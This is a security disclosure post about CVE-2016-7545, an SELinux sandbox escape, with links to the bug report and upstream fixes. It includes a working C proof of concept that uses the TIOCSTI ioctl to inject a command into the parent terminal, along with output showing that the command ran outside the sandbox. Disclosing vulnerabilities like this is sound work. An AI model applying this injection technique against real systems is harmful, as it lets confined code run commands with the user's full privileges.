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CVE-2016-7545 -- SELinux sandbox escape

Hi, When executing a program via the SELinux sandbox, the nonpriv session can escape to the parent session by using the TIOCSTI ioctl to push characters into the terminal's input buffer, allowing an attacker to escape the sandbox. $ cat test.c #include <unistd.h> #include <sys/ioctl.h> int main() { char *cmd = "id

"; while(*cmd) ioctl(0, TIOCSTI, cmd++); execlp("/bin/id", "id", NULL); } $ gcc test.c -o test $ /bin/sandbox ./test id uid=1000 gid=1000 groups=1000 context=unconfined_u:unconfined_r:sandbox_t:s0:c47,c176 $ id <------ did not type this uid=1000(saken) gid=1000(saken) groups=1000(saken) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 Bug report: https://bugzilla.redhat.com/show_bug.cgi?id=1378577 Upstream fix: https://marc.info/?l=selinux&m=147465160112766&w=2 https://marc.info/?l=selinux&m=147466045909969&w=2 https://github.com/SELinuxProject/selinux/commit/acca96a135a4d2a028ba9b636886af99c0915379 Federico Bento. ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program.

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